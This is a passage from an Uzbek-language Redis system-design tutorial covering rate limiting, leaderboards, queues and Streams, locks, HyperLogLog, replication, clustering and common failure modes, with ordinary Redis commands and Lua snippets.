qoladi. To‘g‘ri yechim — Lua:
-- KEYS[1] = kalit, ARGV[1] = limit, ARGV[2] = oyna (soniya)
local current = redis.call("INCR", KEYS[1])
if current == 1 then
redis.call("EXPIRE", KEYS[1], ARGV[2])
end
if current > tonumber(ARGV[1]) then
return 0 -- rad etildi
end
return 1 -- ruxsat
Sobit oynaning chegara muammosi (2-darsdagi hisob) uchun siljituvchi oyna kerak.
ZSET bilan aniq variant:
ZREMRANGEBYSCORE rl:user:42 0 <hozir - 60000> -- eskilarni tashlash
ZCARD rl:user:42 -- qolganini sanash
ZADD rl:user:42 <hozir> <unikal_id> -- yangisini qo'shish
EXPIRE rl:user:42 60
Aniq, lekin qimmatroq: har bir so‘rov uchun ZSET da bitta element saqlanadi. 100 so‘rov/daqiqa limitida bitta foydalanuvchi ~100 element × ~70 bayt = 7 KB. Million foydalanuvchida bu 7 GB — shuning uchun aniq siljituvchi oyna faqat qimmat operatsiyalar uchun ishlatiladi.
Yutuq: Atomik, taqsimlangan, arzon
Narxi: Noto'g'ri yozilsa poyga holati; oyna chegarasi muammosi
Reyting jadvali (leaderboard)
Oddiy tilda: sport musobaqasidagi jadval. Har yangi natijada jadval o‘zi tartiblanadi va “men nechanchi o‘rindaman?” degan savolga darhol javob bor.
ZSET — skiplist va hashtable birgalikda: ball bo‘yicha tartib va a’zo bo‘yicha
O(1) qidiruv.
ZADD leaderboard 15400 user:42
ZINCRBY leaderboard 250 user:42 -- ball qo'shish (atomik)
ZREVRANGE leaderboard 0 9 WITHSCORES -- eng yaxshi 10 ta
ZREVRANK leaderboard user:42 -- mening o'rnim: O(log N)
ZCOUNT leaderboard 15000 +inf -- mendan yuqoridagilar soni
▸Chuqurroq: Tenglik va vaqt: bir xil ballda kim yuqori turadi
ZSET bir xil ballli a’zolarni leksikografik tartibda saqlaydi. Ya’ni ikki o‘yinchi
15400 ball to‘plagan bo‘lsa, user:1000 user:999 dan yuqori chiqadi — bu o‘yin
mantiqiga zid.
Odatiy yechim: ballga vaqtni kichik razryadlar sifatida qo‘shish, shunda oldin erishgan yuqori turadi:
ball_bilan_vaqt = ball * 1e10 + (10 000 000 000 - timestamp)
Muhim cheklov: ZSET ballari double (64-bitli suzuvchi nuqta), ya’ni butun sonlar faqat 2^53 gacha aniq saqlanadi. Formuladagi ko‘paytirish shu chegaradan chiqmasligini tekshirish shart, aks holda ballar sekin-asta buzila boshlaydi va buni sezish juda qiyin.
Yutuq: O'rin va diapazon so'rovlari O(log N) da
Narxi: Katta ZSET xotira yeydi; 'mening o'rnim' so'rovi tez, lekin sahifalash qimmat
Navbat va fon vazifalari
Oddiy tilda: oshxonadagi buyurtma qog‘ozlari ilgichi. Ofitsiant qog‘ozni ilib qo‘yadi, oshpaz bo‘shaganda oladi. Muhimi — oshpaz qog‘ozni olib, ovqatni tugatmay ketib qolsa, buyurtma yo‘qolmasligi kerak.
Sodda variant — List:
LPUSH queue:email '{"to":"a@b.uz","tpl":"welcome"}'
BRPOP queue:email 5 -- bloklab kutish (5 s timeout)
Muammosi: BRPOP elementni olib tashlaydi. Ishchi shu lahzada tushsa, vazifa
butunlay yo‘qoladi. Yarim yechim — BLMOVE:
BLMOVE queue:email queue:email:processing LEFT RIGHT 5
-- vazifa "ishlanmoqda" ro'yxatiga ko'chadi
-- muvaffaqiyatda: LREM queue:email:processing 1 <vazifa>
-- ishchi tushsa: boshqa ishchi eski elementlarni qaytaradi
To‘g‘ri variant — Streams (Redis 5 dan). Bu Kafka‘ga o‘xshash model:
XADD events * type order.created order_id 8891
XGROUP CREATE events workers $ MKSTREAM
XREADGROUP GROUP workers worker-1 COUNT 10 BLOCK 5000 STREAMS events >
XACK events workers 1712345678-0 -- bajarildi deb belgilash
XAUTOCLAIM events workers worker-2 60000 0-0 -- tashlab ketilganlarni olish
- Juda oddiy, 2 ta komanda
- Bitta iste'molchi bitta xabar oladi
- Tasdiqlash (ack) yo'q
- Tarix yo'q — o'qildi, ketdi
- Iste'molchi guruhlari, tasdiqlash, qayta taqsimlash
- Xabar tarixi saqlanadi (MAXLEN bilan cheklanadi)
- Bir xil xabarni bir necha guruh o'qiy oladi
- Murakkabroq: pending list va XAUTOCLAIM boshqarilishi kerak
Yutuq: Oddiy, tez, ishonchli (to'g'ri qilinganda)
Narxi: List bilan xabar yo'qolishi mumkin; Streams murakkabroq, lekin to'g'ri
Pub/Sub: real-time bildirishnomalar
Oddiy tilda: radio. Diktor gapiradi, eshitayotganlar eshitadi. Kim radioni o‘chirib qo‘ygan bo‘lsa — o‘sha xabarni hech qachon eshitmaydi, yozuv qolmaydi.
SUBSCRIBE notifications:user:42
PUBLISH notifications:user:42 '{"type":"new_message"}'
Pub/Sub fire-and-forget: xabar shu lahzada ulangan obunachilarga yuboriladi va saqlanmaydi. Obunachi bir soniyaga uzilib qolsa, o‘sha davrdagi barcha xabarlar yo‘qoladi.
| Talab | Pub/Sub | Streams |
|---|---|---|
| Eng past kechikish | ✓ | Deyarli bir xil |
| Yetkazish kafolati | ✗ | ✓ (ack bilan) |
| Tarix va qayta o‘qish | ✗ | ✓ |
| Xotira sarfi | ~0 | Xabarlar saqlanadi |
| Sekin iste’molchi | Bufer to‘lsa uziladi | Pending listda kutadi |
Amaliy qoida: muhim ma’lumot uchun Pub/Sub ishlatmang. U “yangi xabar keldi, qayta yuklab ol” kabi signal uchun mos; “to‘lov o‘tdi” kabi hodisa uchun emas.
▸Chuqurroq: Sekin obunachi butun serverni sekinlashtirishi mumkin
Har bir mijoz uchun Redis chiqish buferi ushlab turadi. Obunachi ma’lumotni yetarlicha
tez o‘qimasa, bufer o‘sadi va oxir-oqibat client-output-buffer-limit pubsub chegarasiga
yetganda ulanish majburan uziladi.
Standart chegara: 32mb 8mb 60 — ya’ni 32 MB da darhol, yoki 60 soniya davomida 8 MB
dan yuqori bo‘lsa uziladi.
Bu himoya mexanizmi, lekin u shuni anglatadiki: eng sekin obunachi butun tizimning xotirasiga ta’sir qiladi. Ko‘p obunachili tizimda bu chegaralarni kuzatib turish shart.
Yutuq: Eng past kechikish, juda oddiy
Narxi: Hech qanday kafolat yo'q: obunachi yo'q bo'lsa xabar yo'qoladi
Taqsimlangan qulf (lock)
Oddiy tilda: hammomning bitta kaliti. Kim kalitni olgan bo‘lsa, o‘sha ichkarida. Lekin kalit egasi ichkarida uxlab qolsa, muddat tugagach kalit boshqasiga beriladi — va endi ichkarida ikki kishi bo‘lishi mumkin.
Asosiy naqsh:
SET lock:order:8891 <unikal_token> NX PX 30000
NX -> faqat mavjud bo'lmasa
PX -> 30 soniyadan keyin avtomatik ochiladi (jarayon tushsa qulf qolmasin)
Ochish albatta atomik bo‘lishi kerak — aks holda o‘z qulfingiz emas, boshqasinikini ochib yuborishingiz mumkin:
if redis.call("GET", KEYS[1]) == ARGV[1] then
return redis.call("DEL", KEYS[1])
else
return 0
end
Yutuq: Bir vaqtda bitta jarayon ishlashini ta'minlaydi
Narxi: To'liq kafolat BERMAYDI — bu darsdagi eng nozik mavzu
Hisoblagichlar va HyperLogLog
Oddiy tilda: stadion kirishidagi hisoblagich va “necha xil odam keldi” degan savol. Birinchisi oson — har kirganni sanaysiz. Ikkinchisi qiyin — bir odam ikki marta kirsa, ikki marta sanamaslik kerak.
Oddiy hisoblagichlar atomik va arzon:
INCR views:article:1042
INCRBY balance:user:42 -500
HINCRBY stats:2026-09-01 orders 1
Noyob sanash uchun to‘plam qimmat, HyperLogLog esa deyarli bepul:
PFMERGE — HLL ning eng qimmatli xususiyati: kunlik hisoblagichlarni birlashtirib,
haftalik noyob sonni qayta sanamasdan olish mumkin. Oddiy hisoblagichlar bilan bu
mumkin emas, chunki kunlik summalar bir xil odamni bir necha marta hisoblaydi.
Yutuq: Atomik hisob; noyob sanash 12 KB da
Narxi: HLL taxminiy (0.81% xato) va elementlarni qaytarib bermaydi
Bitmap: ulkan mantiqiy massivlar
Oddiy tilda: sinf jurnali. Har o‘quvchining joyi raqami bilan belgilangan, va kelgan-kelmaganini bitta belgi — “+” yoki bo‘sh katak — ko‘rsatadi. Yuz million o‘quvchi uchun ham bitta qalin daftar yetadi.
Har bir foydalanuvchi — bitta bit. Foydalanuvchi ID si — bit pozitsiyasi.
SETBIT active:2026-09-01 12345678 1 -- foydalanuvchi bugun kirdi
GETBIT active:2026-09-01 12345678 -- kirganmi?
BITCOUNT active:2026-09-01 -- bugun nechta faol
BITOP AND retained active:2026-09-01 active:2026-09-02
BITCOUNT retained -- ikki kun ham kirganlar
Yutuq: 100 million foydalanuvchi holati 12 MB da
Narxi: Faqat ketma-ket ID lar uchun samarali; siyrak ma'lumotda isrof
Geografik qidiruv
Oddiy tilda: xaritadagi tugmachalar. “Menga eng yaqin uchta taksi qayerda?” — xaritaga qarab darhol ko‘rasiz.
GEOADD drivers 69.2401 41.2995 driver:88
GEOSEARCH drivers FROMLONLAT 69.24 41.30 BYRADIUS 3 km ASC COUNT 10 WITHDIST
GEODIST drivers driver:88 driver:91 km
Ichkarida bu ZSET: koordinata 52-bitli geohash songa aylantiriladi va ball sifatida saqlanadi. Ya’ni barcha ZSET komandalari ham ishlaydi va xotira hisobi ZSET niki bilan bir xil.
Cheklovi muhim: GEOSEARCH faqat masofa bo‘yicha filtrlaydi. “3 km ichidagi, bo‘sh,
4 yulduzdan yuqori, elektromobil” degan so‘rov uchun Redis yetarli emas —
nomzodlarni Redis topadi, qolgan filtrlar ilova yoki bazada bajariladi. Bu naqsh Uber
darsida yana qaytadi.
Yutuq: 'Yaqin atrofdagilar' so'rovi bitta komandada
Narxi: Faqat ikki o'lchov; murakkab filtr bilan birlashtirib bo'lmaydi
Deduplikatsiya va idempotentlik
Oddiy tilda: pochta bo‘limi har posilkani “topshirildi” deb belgilaydi. Kuryer adashib bir posilkani ikki marta olib kelsa, belgi bor — ikkinchisi qabul qilinmaydi.
Navbatlar “kamida bir marta” (at-least-once) yetkazadi, ya’ni bir xil xabar ikki marta kelishi mumkin. Redis buni bitta komandada yechadi:
SET processed:msg:8891 1 NX EX 86400
-> 1 qaytsa: birinchi marta, ishlov beramiz
-> nil qaytsa: allaqachon ishlangan, tashlab ketamiz
To‘lov API si uchun ham xuddi shu naqsh (Idempotency-Key — 2-darsdagi API dizayni).
Nozik nuqta: ishlov berish muvaffaqiyatsiz bo‘lsa nima qilamiz? Agar belgi oldindan qo‘yilgan bo‘lsa, xabar qayta ishlanmaydi va butunlay yo‘qoladi. To‘g‘ri ketma-ketlik:
1. SET ... NX -> "ishlanmoqda" belgisi, qisqa TTL (masalan 5 daqiqa)
2. Ishni bajarish
3. Muvaffaqiyatda: belgini uzoq TTL ga o'zgartirish (24 soat)
Xatoda: belgini O'CHIRISH -> xabar qayta urinishga qaytadi
Yutuq: Takroriy hodisa ikki marta ishlanmaydi
Narxi: TTL tugagach kafolat ham tugaydi
Asosiy saqlash sifatida Redis
Oddiy tilda: doskani arxiv o‘rnida ishlatish. Mumkin — agar doska katta bo‘lsa, har kuni suratga olinsa va undagi narsa yo‘qolsa halokat bo‘lmasa.
Redis‘ni birlamchi baza sifatida ishlatish mumkin, lekin faqat aniq shartlarda:
| Shart | Nima uchun |
|---|---|
| Ma’lumot RAM ga sig‘adi va o‘sishi bashoratli | Redis diskdan “sahifalab” o‘qimaydi |
AOF everysec yoqilgan | 1 soniyagacha yo‘qotishga rozilik |
| Replika va avtomatik failover bor | Bitta tugun — bitta nosozlik nuqtasi |
| Murakkab so‘rov kerak emas | JOIN, agregatsiya, ad-hoc filtr yo‘q |
| Zaxira nusxa jarayoni sinovdan o‘tgan | RDB fayli muntazam tashqariga saqlanadi |
Mos keladigan holatlar: real-time o‘yin holati, sessiyalar, feature flag‘lar, IoT qurilma holatlari, tezkor hisoblagichlar. Mos kelmaydigan: moliyaviy yozuvlar, hisobotlar uchun tarixiy ma’lumot, har qanday “yo‘qolsa halokat” ma’lumoti.
Yutuq: Eng past kechikish, murakkab tuzilmalar
Narxi: RAM narxi, doimiylik kafolatining chegaralari
Nazorat savoli · javobni ko‘rishSizga 'foydalanuvchining oxirgi 100 ta ko'rgan mahsuloti' kerak. Qaysi strukturani tanlaysiz va nega?
List — LPUSH + LTRIM:
LPUSH recent:user:42 product:991
LTRIM recent:user:42 0 99 -- faqat oxirgi 100 tasi qoladi
LRANGE recent:user:42 0 19 -- oxirgi 20 tasi
LTRIM har LPUSH dan keyin chaqiriladi — bu O(1) ga yaqin amal va ro‘yxat hech qachon
100 tadan oshmaydi.
Nega boshqalari emas:
- ZSET (vaqt ball sifatida) ham ishlaydi va takrorlanishni avtomatik yo‘q qiladi,
lekin har element ~128 bayt (List da ~30 bayt) va murakkabligi
O(log N) - Set tartibni saqlamaydi — “oxirgi ko‘rilgan” degani tartib demak
- String (JSON massiv) har yangilashda butun qiymatni qayta yozishni talab qiladi
Takrorlanishni yo‘q qilish kerak bo‘lsa: LREM recent:user:42 0 product:991 ni
LPUSH dan oldin chaqirish (O(N), lekin N=100 — arzon), yoki ZSET ga o‘tish.
Nazorat savoli · javobni ko‘rishJamoa 'sessiyani ham, keshni ham, navbatni ham bitta Redis'da saqlaymiz — arzon' deyapti. Javobingiz?
Uchta turli ma’lumot, uchta turli talab — ular bir instansiyada yashay olmaydi:
| Kesh | Sessiya | Navbat | |
|---|---|---|---|
| Yo‘qolsa | Sekinlashadi | Foydalanuvchi chiqib ketadi | Vazifa bajarilmaydi |
| Siyosat | allkeys-lru | noeviction yoki volatile-lru | noeviction |
| Doimiylik | Kerak emas | Kerak | Albatta kerak |
| O‘sish | Bashoratli | Foydalanuvchilarga bog‘liq | Portlash mumkin |
Bitta instansiyada allkeys-lru qo‘yilsa, xotira bosimida sessiyalar va navbatdagi
vazifalar siqib chiqariladi — ya’ni kesh bosimi ma’lumot yo‘qotishga aylanadi.
noeviction qo‘yilsa, kesh o‘sishi butun tizimda yozishni to‘xtatadi.
To‘g‘ri: kamida uchta alohida instansiya (yoki bitta serverdagi uchta jarayon). Xarajat farqi kichik, xavf farqi juda katta.
6. Bitta komandaning hayoti
Endi bitta komandani — INCR views:1042 — mijozdan diskka va replikagacha
kuzatamiz. Shunda “bitta ip”, “atomik”, “1 soniyagacha yo‘qotish” degan
gaplar aniq rasmga aylanadi.
6.1 Qadam-baqadam
Oddiy tilda: siz kassaga chek uzatdingiz. Kassir uni oladi, bajaradi, javobni yozib qo‘yadi va keyingi odamga o‘tadi. Kechqurun buxgalter kunlik cheklar nusxasini arxivga topshiradi, filialdagi hamkasbi esa har chekning nusxasini biroz kechikib oladi. Siz javobni darhol olasiz — arxivlash va nusxalash sizni kutdirmaydi.
- RESP (2.2) komandani baytlarga aylantiradi. Bir nechta komanda bitta paketda kelishi mumkin — pipelining (2.7).
- Event loop
epolldan qaysi socketlarda ma’lumot borligini so‘raydi va har birini navbat bilan o‘qiydi. - Komanda jadvaldan topiladi (
INCR→ uning funksiyasi), argumentlar tekshiriladi, ACL ruxsati ko‘riladi (11.2). - Bajarish: kalit lug‘atdan topiladi, son 1 ga oshiriladi. Shu lahzada o‘zgarish faqat xotirada.
- Javob mijozning chiqish buferiga yoziladi va keyingi sikl boshida socketga ketadi.
- Yozish komandasi bo‘lgani uchun u AOF buferiga va replikalar oqimiga ham qo‘shiladi (6.3).
6.2 Bitta ipning vaqt byudjeti
Bitta ip — bitta navbat. Shuning uchun eng sekin komanda hammaning kechikishini belgilaydi.
Bu hisob 2.6 dagi qoidani raqam bilan tushuntiradi: bitta ipli serverda
O(N) komanda — bu butun tizim uchun O(N) to‘xtash.
6.3 Yozuv qayerga ketadi va qachon xavfsiz
Nazorat savoli · javobni ko‘rishMijoz `INCR balance:42` ga javob oldi. Bu yozuv endi xavfsiz saqlandimi?
Yo‘q — bu faqat xotirada bajarilganini anglatadi. Keyingi qadamlar fonda:
- AOF buferiga qo‘shildi;
write()keyingi sikl atrofida fsync—everysecda sekundiga bir marta. Elektr o‘chsa, shu oraliq yo‘qolishi mumkin- Replikaga asinxron ketadi. Master shu lahzada tushib, replika ko‘tarilsa — yozuv yo‘qolishi mumkin (8.2)
Kuchliroq kafolat kerak bo‘lsa: WAIT 1 100 (kamida bitta replika
tasdiqlaguncha kutish — bu ham to‘liq kafolat emas), appendfsync always
(sekinroq), yoki — pul kabi ma’lumot uchun — Redis emas, tranzaksion
baza. Redis’dagi balans — kesh yoki tezkor nusxa bo‘lishi mumkin, lekin
manba haqiqat emas.
7. Strukturalar ichidan: skiplist, HyperLogLog va namunali LRU
5-bo‘limda strukturalardan foydalandik. Endi uchtasining ichiga kiramiz — 2-daraja amaliyotida aynan shularni o‘zingiz yozasiz.
7.1 Skiplist: reyting qanday O(log N)
Oddiy tilda: shahar metrosida ikki xil poyezd bor. Oddiy poyezd har bekatda to‘xtaydi, ekspress esa faqat har to‘rtinchisida. Uzoq bekatga borish uchun avval ekspressda yaqinlashasiz, keyin oddiy poyezdga o‘tib, kerakli bekatda tushasiz. Skiplist — ko‘p qavatli “ekspress”lar: har qavatda bekatlar to‘rt barobar siyrak.
Mexanizm: har yangi elementga tasodifiy daraja beriladi. 1-daraja —
hamma; 2-darajaga 25% ehtimol bilan chiqadi, 3-darajaga — 6.25% va hokazo
(Redis’da P = 0.25, ko‘pi bilan 32 daraja). Qidiruv eng yuqori qavatdan
boshlanadi va “keyingisi kerakligidan katta bo‘lsa — bir qavat pastga”
qoidasi bilan tushadi.
Redis’ning qo‘shimchasi — span: har ko‘rsatkich nechta elementni sakrab
o‘tishini eslab qoladi. Yo‘l bo‘yidagi span’larni qo‘shsangiz — elementning
o‘rni (rank) chiqadi. Shu sabab ZRANK va ZRANGE 1000 1009 ham
O(log N).
▸Chuqurroq: Nega balanslangan daraxt emas
Antirez skiplist’ni tanlaganini uchta sabab bilan tushuntirgan:
- Diapazon so‘rovlari tabiiy —
ZRANGEvaZRANGEBYSCORE0-qavatdagi bog‘langan ro‘yxat bo‘ylab yurishdan iborat. Daraxtda bu ancha murakkabroq. - Kod sodda — qo‘shish va o‘chirish lokal: aylantirish (rotation) va qayta balanslash yo‘q. Span qo‘shish ham bir necha qator.
- Xotira sozlanadi —
Pni o‘zgartirib, tezlik va xotira orasida tanlash mumkin.P = 0.25— o‘rtacha 1.33 ko‘rsatkich, ya’ni balanslangan daraxtdan (2 ko‘rsatkich) arzonroq.
Narxi — tasodif: eng yomon holatda qidiruv uzun bo‘lishi mumkin, lekin uning ehtimoli N o‘sgan sari keskin kamayadi. Amaliyotdagi tekshiruv 20 000 elementda darajalar taqsimotini (≥2 qavat: ~25%, ≥3: ~6%) va har qidiruvdagi ko‘rsatkichlar sonini o‘lchaydi.
7.2 HyperLogLog: 12 KB da milliardni qanday sanash
Oddiy tilda: do‘stingiz tanga tashlab, “ketma-ket nechta gerb tushdi” seriyasini yozib boradi va sizga faqat eng uzun seriyani aytadi — masalan, 10. Ketma-ket 10 ta gerb taxminan har mingtadan bir urinishda tushadi. Demak, u taxminan ming marta tashlagan. Bitta raqamdan butun sonni taxmin qildingiz. HyperLogLog aynan shu fikrga tayanadi.
Mexanizm (Redis):
- Har element 64 bitli xeshga aylantiriladi.
- Quyi 14 bit — 16 384 ta registrdan qaysi biri (taxminni 16 384 ta mustaqil “do‘st”ga bo‘lamiz).
- Qolgan 50 bitdagi oxirgi nollar soni + 1 — rank (“seriya uzunligi”). Registr eng katta rankni eslaydi.
- Hisob: registrlar bo‘yicha garmonik o‘rtacha. Bitta tasodifan juda katta registr natijani buzmaydi.
- Kichik sonlarda ko‘p registr bo‘sh qoladi — u yerda “linear
counting” aniqroq:
M · ln(M / bo‘sh_registrlar).
Bitta nozik joy amaliyotda ko‘rinadi. Oddiy HLL formulasi bilan linear counting o‘rtasidagi o‘tish oralig‘ida (bu yerda ~40–70 ming element) xato ~3% gacha ko‘tariladi. Redis 2014-yilda HLL’ni empirik tuzatish bilan qo‘shgan. Redis 5.0 (2018) esa Otmar Ertl’ning yangi baholovchisiga o‘tdi: u butun oraliqda xolis va empirik jadvallarga tayanmaydi. Amaliyotda siz klassik variantni yozasiz va bu farqni o‘z ko‘zingiz bilan ko‘rasiz.
7.3 Namunali LRU va faol ekspirasiya — raqamlarda
3-bo‘limdagi ikki mexanizm “taxminan to‘g‘ri” ishlaydi. Qanchalik taxminan — amaliyotdagi simulyatsiyada o‘lchanadi.
Faol ekspirasiya ham shunday: 60 000 TTL li kalitning yarmi bir lahzada eskirganda va yana 100 000 ta TTL siz kalit bo‘lganda, amaliyotdagi sikl eskirgan kalitlar ulushini ~25% atrofida ushlab turadi. Ya’ni xotirada “o‘lik” kalitlar bo‘ladi, lekin chegaralangan. Va tinch paytda sikl bir necha o‘nta kalitni tekshiradi — CPU deyarli sarflanmaydi.
Nazorat savoli · javobni ko‘rishNega Redis TTL li kalitlarni alohida massivda saqlaydi (amaliyotdagi vkeys)? Hamma kalitlardan namuna olish soddaroq emasmi?
Sodda, lekin foydasiz. Tasavvur qiling: 100 million kalit, ulardan atigi 1 milliontasida TTL bor (1%). Hamma kalitlardan 20 ta namuna olsangiz, o‘rtacha 0.2 tasi TTL li bo‘ladi va deyarli hech qachon muddati o‘tganini topmaysiz. 25% qoidasi “eskirganlar kam” deb siklni darhol to‘xtatadi — va million eskirgan kalit xotirada qoladi.
Redis buni hal qilish uchun TTL li kalitlarni alohida lug‘atda
(expires) saqlaydi va namunani faqat shu yerdan oladi. Amaliyotdagi
mutatsiya testi aynan shu xatoni ushlaydi: “hamma kalitlardan namuna” bilan
eskirgan kalitlar ulushi 25% o‘rniga ~48% da qoladi.
8. Masshtablash: replikatsiya, failover, klaster
8.1 Replikatsiya
Oddiy tilda: bosh doskaning yonida yordamchi nusxa-doskalar turadi. Kotib bosh doskaga yozilgan har gapni ularga ko‘chirib boradi — lekin bir oz kechikib. Bosh doska yiqilsa, nusxalardan biri bosh bo‘ladi, va oxirgi bir necha gap ko‘chirilmay qolgan bo‘lishi mumkin.
REPLICAOF master.host 6379
Replika master‘dan asinxron oqim oladi. Master yozuvni qabul qilib, mijozga darhol
+OK qaytaradi va replikaga keyin yuboradi. Bu tezlik uchun to‘g‘ri qaror, lekin
oqibatlari bor.
Master --[repl akış]--> Replika 1
--[repl akış]--> Replika 2 (boshqa mintaqada)
Uzilish bo‘lganda qisman qayta sinxronizatsiya ishlaydi: master oxirgi yozuvlarni
halqasimon buferda (repl-backlog) saqlaydi. Replika qisqa vaqt uzilib qaytsa, faqat
yetishmayotgan qismni oladi. Bufer to‘lib ketgan bo‘lsa — to‘liq sinxronizatsiya:
master fork qilib RDB yaratadi va butun ma’lumotni yuboradi (4.2-bo‘limdagi xotira
cho‘qqisi bilan birga).
8.2 Failover: nechta yozuv yo‘qoladi
Master tushdi, replika ko‘tarildi. Asinxron replikatsiya tufayli replikaga yetib ulgurmagan yozuvlar yo‘qoladi.
Chastotani kamaytiruvchi vositalar:
min-replicas-to-write 1 # kamida 1 ta replika ulanmagan bo'lsa, yozishni rad et
min-replicas-max-lag 10 # va uning kechikishi 10 soniyadan oshmasin
WAIT 1 100 komandasi esa yozuvdan keyin kamida 1 ta replika tasdiqlashini 100 ms
kutadi. Bu kafolat emas (u ham asinxron), lekin muhim yozuvlar uchun oynani sezilarli
qisqartiradi.
▸Chuqurroq: Split-brain: ikkita master bir vaqtda
Tarmoq bo‘linishida master hali ishlab turibdi, lekin Sentinel uni ko‘rmayapti va replikani ko‘taradi. Endi ikkita master bor va mijozlarning bir qismi eskisiga yozishda davom etadi.
Tarmoq tiklanganda eski master replikaga aylanadi va o‘z ma’lumotini tashlab, yangi masterdan sinxronlanadi — ya’ni bo‘linish davomida unga yozilgan hamma narsa yo‘qoladi.
Himoya: min-replicas-to-write — ozchilik tomonda qolgan master replikasiz qolganini
sezib, yozishni o‘zi rad etadi. Bu CAP teoremasidagi ongli tanlov: bo‘linishda
mavjudlikdan voz kechib, izchillikni saqlash.
Sentinel uchun ham to‘g‘ri kvorum shart: 3 ta Sentinel va quorum 2. Ikkita Sentinel
bilan kvorum ma’nosini yo‘qotadi.
8.3 Klaster: 16384 slot
Oddiy tilda: doska bitta devorga sig‘may qoldi. Uni 16 384 ta raqamlangan katakka bo‘lamiz va kataklarni bir nechta devorga taqsimlaymiz. Har yozuvning qaysi katakka tushishi uning nomidan hisoblanadi — shuning uchun hamma qaysi devorga borishni biladi.
Bitta instansiya RAM va bitta yadro bilan cheklangan. Redis Cluster ma’lumotni 16384 ta slot ga bo‘lib, ularni tugunlar orasida taqsimlaydi.
slot = CRC16(kalit) mod 16384
Mijoz noto‘g‘ri tugunga so‘rasa, MOVED javobini oladi va so‘rovni to‘g‘ri tugunga
yo‘naltiradi (mijoz kutubxonasi buni avtomatik qiladi va slot xaritasini keshlaydi).
▸Chuqurroq: Qayta shardlash: slotlar qanday ko'chadi
Yangi tugun qo‘shilganda slotlar bittalab ko‘chiriladi va bu ishlash davomida bajariladi:
1. Maqsad tugun: CLUSTER SETSLOT <slot> IMPORTING <manba-id>
2. Manba tugun: CLUSTER SETSLOT <slot> MIGRATING <maqsad-id>
3. Kalitlar guruh-guruh ko'chiriladi (MIGRATE)
4. Ko'chish davomida:
- kalit hali manbada -> oddiy javob
- kalit ko'chib bo'lgan -> ASK yo'naltirishi (bir martalik)
5. CLUSTER SETSLOT <slot> NODE <maqsad-id> -> yakunlash
MOVED va ASK farqi muhim: MOVED — “bu slot butunlay o‘sha tugunda, xaritangni
yangila”; ASK — “aynan shu so‘rov uchun o‘sha tugunga bor, lekin xaritani o‘zgartirma”.
Mijoz kutubxonasi ikkalasini to‘g‘ri boshqarishi shart, aks holda ko‘chirish davomida
xatolar chiqadi.
8.4 Klaster kerakmi yoki katta instansiya yetarlimi?
- Barcha komandalar cheklovsiz ishlaydi
- Operatsiya sodda, debug oson
- Vertikal chegara: ~100-200 GB amaliy
- Bitta yadro yozish uchun — ~100k ops/s
- Xotira va throughput chiziqli o'sadi
- Bir necha kalitli amallar cheklangan
- Mijoz kutubxonasi klasterni qo'llashi shart
- Operatsion murakkablik sezilarli oshadi
Amaliy qoida: klasterga faqat kerak bo‘lganda o‘ting. Ko‘p jamoalar klasterni
oldindan qo‘yib, keyin CROSSSLOT xatolari va murakkab migratsiyalar bilan kurashadi.
Alternativ — funksional bo‘lish: sessiyalar bitta instansiyada, kesh boshqasida,
navbatlar uchinchisida. Bu ko‘pincha soddaroq va yetarli.
9. Bugungi arxitektura
Kechikishning ko'p qismi shu qatlamda hal bo'ladi: pipelining, timeout, ulanishlar soni.
Mijoz master manzilini o'zi biladi — proksi shart emas.
O'qishni replikadan olish mumkin, lekin eskirgan ma'lumotga tayyor bo'lish kerak.
Failover avtomatik bo'lishi shart — qo'lda aralashuv daqiqalar oladi.
Ko‘p jamoalar uchun eng to‘g‘ri boshlang‘ich: bitta master + ikkita replika + Sentinel, va Redis maqsadi bo‘yicha ajratilgan instansiyalar (kesh alohida, sessiya alohida, navbat alohida). Bu topologiya 100 GB gacha va 100 000 ops/s gacha bemalol xizmat qiladi.
Nazorat savoli · javobni ko‘rishStartapda bitta Redis bor: kesh, sessiyalar va Sidekiq/Celery navbati. Birinchi xotira inqirozida nima bo'ladi va qanday ajratasiz?
Nima bo‘ladi siyosatga bog‘liq. allkeys-lru bo‘lsa — sessiyalar va
navbatdagi vazifalar siqib chiqariladi: foydalanuvchilar tizimdan chiqadi,
xatlar yuborilmaydi. noeviction bo‘lsa — kesh o‘sishi hamma yozishni
to‘xtatadi: navbatga ham vazifa qo‘shib bo‘lmaydi.
Ajratish tartibi (xavf kamayishi bo‘yicha):
- Navbatni alohida instansiyaga —
noevictionva AOF bilan. Bu eng qimmat yo‘qotish - Sessiyalarni alohida —
volatile-lru, TTL majburiy, AOFeverysec - Qolgan instansiya — sof kesh:
allkeys-lfu, doimiyliksiz
Migratsiya yangi kalitlar yangi instansiyaga yozilishi bilan boshlanadi. Eskilari TTL bilan o‘zi yo‘qoladi; navbatda esa avval eski navbat bo‘shatiladi. Narx deyarli o‘zgarmaydi — 9-bo‘limdagi hisobga qarang.
10. Ishonchlilik: nima buziladi
10.1 Nosozliklar taksonomiyasi
| Nosozlik | Belgisi | Sabab | Chora |
|---|---|---|---|
| Katta kalit (big key) | p99 sakraydi, DEL bloklaydi | 10 GB li ZSET yoki List | --bigkeys, UNLINK, kalitni bo‘lish |
| Issiq kalit (hot key) | Bitta tugun 100% CPU | Viral obyekt | Mijoz tomonda kesh, replikadan o‘qish |
| Fork cho‘qqisi | Saqlash paytida OOM | maxmemory juda yuqori | 50–60% qoida, THP o‘chirish |
| Swap | Kechikish 1000 barobar oshdi | RAM to‘lgan | maxmemory pasaytirish, swap o‘chirish |
| Bloklovchi komanda | Butun server to‘xtadi | KEYS, katta HGETALL | rename-command, SCAN |
| Failover yo‘qotishi | Yozuvlar yo‘qoldi | Asinxron replikatsiya | min-replicas-to-write, WAIT |
| Split-brain | Ikki master | Tarmoq bo‘linishi | Sentinel kvorumi, min-replicas-* |
| Ulanishlar tugadi | max number of clients reached | Hovuz noto‘g‘ri sozlangan | maxclients, hovuz hajmini tekshirish |
| Kalitlar to‘planishi | Xotira asta o‘syapti | TTL qo‘yilmagan | TTL siyosati, volatile-* |
▸Chuqurroq: Katta kalitni qanday topish va nima qilish
redis-cli --bigkeys butun bazani SCAN bilan aylanib chiqadi (serverni bloklamaydi) va
har bir tur bo‘yicha eng kattasini ko‘rsatadi.
Katta kalit uch xil zarar qiladi:
DELbloklaydi — 10 million elementli ZSET ni o‘chirish soniyalar oladi. Yechim:UNLINK— u kalitni darhol kalit maydonidan uzadi va xotirani fon ipida bo‘shatadi- Klasterda migratsiya bloklaydi — bitta kalit atomik ko‘chadi, ya’ni gigabaytlik kalit ko‘chishi paytida ikkala tugun ham to‘xtaydi
